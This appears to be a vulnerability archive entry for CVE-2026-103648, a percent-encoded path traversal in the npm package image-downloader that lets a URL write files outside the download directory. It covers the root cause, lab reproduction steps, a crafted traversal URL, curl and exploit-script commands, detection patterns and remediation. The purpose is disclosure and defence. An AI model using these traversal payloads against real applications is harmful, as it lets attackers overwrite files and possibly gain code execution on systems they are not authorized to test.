image-downloader Pre-Decode Basename Path Traversal — Arbitrary File Write (CVE-2026-103648)
Published: 2026-11-25 • Researcher: Amirhossein Roustaei (@EterNullSec), Eternull Security — repository owner and vulnerability discoverer; vendor maintainer Sébastien Demanou (@demsking)
- Severity
- Critical
- CVE
- CVE-2026-103648
- Category
- web
- Affected product
- image-downloader npm package (Node.js library), filename-extraction logic in index.js
- Affected versions
- All versions before 4.3.1, including 4.3.0; fixed in 4.3.1. NVD carries no product/range list — versions are from the upstream advisory and diff
- Disclosed
- 2026-11-25
- Patch status
- Patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-103648
- https://github.com/EterNullSec/CVE-2026-103648
- https://eternull.net/posts/cve-2026-103648-image-downloader-path-traversal
- https://gitlab.com/demsking/image-downloader/-/commit/fb4454304276e2439fb19b98836b3ba903b3aaea
- https://gitlab.com/demsking/image-downloader/-/work_items/32
- https://www.cve.org/CVERecord?id=CVE-2026-103648
- https://www.npmjs.com/package/image-downloader
- https://cwe.mitre.org/data/definitions/22.html
- https://owasp.org/www-community/attacks/Path_Traversal
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-25 |
| Last Updated | 2026-10-06 |
| Author / Researcher | Amirhossein Roustaei (@EterNullSec), Eternull Security — repository owner and vulnerability discoverer; vendor maintainer Sébastien Demanou (@demsking) |
| CVE / Advisory | CVE-2026-103648 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H) |
| Status | PoC (lab-validated arbitrary file write; no RCE chain) |
| Tags | path-traversal, CWE-22, arbitrary-file-write, image-downloader, npm, Node.js, unauthenticated, remote, supply-chain, file-overwrite |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | image-downloader npm package (Node.js library), filename-extraction logic in index.js |
| Versions Affected | All versions before 4.3.1, including 4.3.0; fixed in 4.3.1. NVD carries no product/range list — versions are from the upstream advisory and diff |
| Language / Platform | JavaScript / Node.js (package engines >= 6.10.1); lab image node:18-alpine on Linux |
| Authentication Required | No |
| Network Access Required | Yes |
Summary
image-downloader 4.3.0 derives the local output filename from the download URL by calling path.basename on the pathname and only then running decodeURIComponent. A percent-encoded traversal such as %2e%2e%2f contains no literal slash during the basename step, so it survives unchanged and is decoded into a real ../ afterward. path.join then normalizes the .. segment, and the downloaded response is written outside the configured destination directory. An attacker who controls the download URL of a library consumer (user-submitted image import, webhook payload, or content feed) can therefore create or overwrite arbitrary files with the privileges of the Node.js process, which commonly escalates to code execution in permissive deployments.
Vulnerability Details
Root Cause
The filename-extraction branch of module.exports.image in image-downloader 4.3.0 runs the sanitizer before the decoder:
| |
path.basename() on /%2e%2e%2fpwned.sh sees no literal /, so it returns the whole encoded string as a filename. decodeURIComponent() then turns %2e%2e%2f into ../, and path.join() resolves it as a real parent-directory step. Decode-then-basename would be safe; basename-then-decode is the bug (CWE-22). The fix in 4.3.1 decodes first, rejects NUL bytes, and adds a path.relative() containment check against dest.
Attack Vector
An application calls download.image({ url, dest }) with a URL it does not fully control, for example a user-supplied avatar/image URL or a link from a webhook or RSS item. The attacker only needs to control the path component of that URL and serve a 200 response. In the bundled lab, a GET to the intentionally vulnerable endpoint /download?url=<crafted-url> passes the URL to the library; the traversal is in the URL path, not the response body, so no special server behavior is needed beyond returning content.
Impact
Arbitrary file creation or overwrite, outside the intended download directory, with the filesystem permissions of the Node.js process. Confidentiality impact is none per the CVSS vector, but integrity and availability are high: overwriting cron entries, authorized_keys, application code, or config files can lead to code execution or denial of service, particularly in containers or CI runners with broad write access. The PoC demonstrates a marker file written to /tmp, one level above the lab’s /tmp/downloads directory.
Environment / Lab Setup
OS: Linux (Docker) or any host with Node.js 18+
Target: vulnerable-app/server.js — image-downloader 4.3.0,
Node HTTP server on :3000, download dir /tmp/downloads
Attacker: Python 3.8+ with requests, or Metasploit (auxiliary module)
Tools: Docker / Docker Compose, Node.js 18, npm, Python 3, curlSetup Steps
| |
Proof of Concept
Step-by-Step Reproduction
Start the vulnerable target — run the Docker Compose lab or
node server.jsfromvulnerable-app/; the download directory is/tmp/downloads/and the endpoint isGET /download?url=<image_url>.Craft the traversal URL — the attacker serves any 200 response and puts the traversal in the URL path, percent-encoded so no literal slash is visible to
path.basename():Output1http://<attacker>:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txtDeliver it to the vulnerable consumer — the bundled exploit script starts the payload server and triggers the target endpoint:
Shell script1python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1Or by hand with curl:
Shell script1curl "http://localhost:3000/download?url=http://attacker:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txt"Observe the out-of-directory write — image-downloader 4.3.0 decodes the escaped basename and
path.joinnormalizes it, so the response body is written to/tmp/pwned_by_eternullsec.txtinstead of/tmp/downloads/.Verify the file landed outside dest — on the target host (or in the mounted
/tmp/cve-labvolume):Shell script1 2ls -la /tmp/pwned_by_eternullsec.txt cat /tmp/pwned_by_eternullsec.txt
Exploit Code
See
exploit/exploit.pyfor the self-contained lab runner andimage-downloader_4.3.0_path_traversal.pyfor the Exploit-DB-style standalone script. A Metasploit auxiliary module is inmetasploit-module/image_downloader_path_traversal.rb; the intentionally vulnerable consumer isvulnerable-app/server.js.
Minimal client-side trigger (the traversal lives entirely in the URL path):
| |
Expected Output
| |
Detection & Indicators of Compromise
- Web/proxy logs containing percent-encoded traversal in a download parameter:
%2e%2e%2f,%2e%2e%5c,..%2f, or double-encoded variants such as%252e%252e%252f, usually inside aurl=query value. - Node.js application logs showing the library saving a file to a path outside the configured download directory, e.g.
[+] File saved to: /tmp/pwned_by_eternullsec.txtwhendestis/tmp/downloads. - Unexpected files appearing next to, or above, the configured destination directory, especially with attacker-supplied names or marker content.
- Outbound HTTP requests from the application server to unfamiliar hosts whose request paths contain traversal sequences (the library fetches the attacker URL before writing).
- Writes to sensitive locations reachable by the service account (cron directories,
authorized_keys, application templates) are a strong post-exploitation signal.
Example access-log hit:
| |
SIEM / IDS rule (example):
| |
Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to image-downloader 4.3.1 or later (npm install image-downloader@latest), which decodes before extracting the basename, rejects NUL bytes, and enforces a path.relative() containment check. Fix commit fb44543. |
| Workaround | If the upgrade must wait: never pass an untrusted URL; validate the decoded pathname yourself (decode, then basename, then resolve and require the result to stay inside dest), or bypass filename extraction by passing extractFilename: false / a dest that already includes a filename extension and is fully controlled by the application. |
| Config Hardening | Run the Node.js service as an unprivileged user with write access limited to the download directory; use a read-only container root with a dedicated writable volume; restrict outbound egress to expected hosts; add the SIEM rule above and alert on file creation outside dest. |
References
Notes
Auto-ingested from https://github.com/EterNullSec/CVE-2026-103648 on 2026-11-25. The repository was last updated 2026-10-06 (git author date).
Review verdict: this is a real PoC, not a detector/scanner. It contains a self-contained exploit runner (exploit/exploit.py), an Exploit-DB-style standalone script (image-downloader_4.3.0_path_traversal.py), a Metasploit auxiliary module, an intentionally vulnerable Node.js consumer, and a Docker lab. All exploit code is archived with attribution; medium-post.md is the author’s technical write-up and was kept for the root-cause and patch detail.
License: MIT (repository LICENSE, Copyright 2026 Amirhossein Roustaei / EterNullSec). The MIT text covers the PoC code; it does not grant permission to attack systems without written authorization. No code was executed during ingestion, per archive policy.
Limitations and caveats: the bundled PoC collapses the attacker and victim roles into one script for reproducibility, and its verification step reads /tmp on the local host, so confirming the out-of-directory write needs local access to the victim (the Docker lab bind-mounts /tmp). The Metasploit module can only confirm that the target fetched the payload, not that the file landed outside dest. Exploitation requires a consuming application that passes an externally controlled URL into download.image() with default filename extraction enabled. The PoC stops at arbitrary file write; escalation to code execution by overwriting cron files, authorized_keys, or executed scripts is described in the write-up but not implemented. NVD lists no product/version configurations, so affected versions come from the upstream advisory (< 4.3.1, fixed 4.3.1); as of ingestion the CISA SSVC record marks exploitation as “none” and EPSS is 0.00581, so this reflects a public lab PoC rather than observed in-the-wild activity. vulnerable-app/package-lock.json was excluded per archive policy. Use only against systems you own or have explicit written authorization to test.
| |